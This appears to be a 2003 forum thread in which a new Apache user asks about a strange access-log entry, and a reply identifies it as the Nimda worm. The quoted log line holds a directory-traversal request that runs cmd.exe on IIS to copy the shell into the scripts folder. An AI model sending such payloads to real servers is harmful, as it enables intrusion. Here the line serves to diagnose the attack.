attempted intrusion?

External Since: Jul 11, 2003 Posts: 11

hi, I just installed and configured apache for the first time today, and
this evening I was reviewing my access log, and I saw this...

62.31.250.64 - - [11/Jul/2003:14:52:33 +0100] "GET
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\\winnt\\system32\\c
md.exe+c:\\inetpub\\scripts\\script.exe HTTP/1.1" 404 333

does anyone what this is, what it means, and moreover, is it serious? i'm
quite new to this. any help would be much appreciated.

thanks

r.

External Since: Jul 30, 2003 Posts: 35

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Whilst lounging around on Fri, 11 Jul 2003 23:29:48 +0100, "rusty"
<colin@#j0o.com> amazingly managed to produce the following with
their Etch-A-Sketch:

> hi, I just installed and configured apache for the first time
> today, and this evening I was reviewing my access log, and I saw
> this...
>
> 62.31.250.64 - - [11/Jul/2003:14:52:33 +0100] "GET
> /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\\winnt\\sys
> tem32\\c md.exe+c:\\inetpub\\scripts\\script.exe HTTP/1.1" 404 333
>
> does anyone what this is, what it means, and moreover, is it
> serious? i'm quite new to this. any help would be much
> appreciated.
>
> thanks
>
> r.
>

Nimda.

Regards,

Ian

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBPw8+Omfqtj251CDhEQJvSwCffvH2Xl+++mpgYlW8i5iy144WHhEAoNmt
CSqEBaFwCN6h8r27qXMTBwTK
=ZUSq
-----END PGP SIGNATURE-----

--
Ian.H [Design & Development]
digiServ Network - Web solutions
<a style='text-decoration: underline;' href="http://www.digiserv.net" target="_blank">www.digiserv.net</a> | irc.digiserv.net | forum.digiserv.net
Programming, Web design, development & hosting.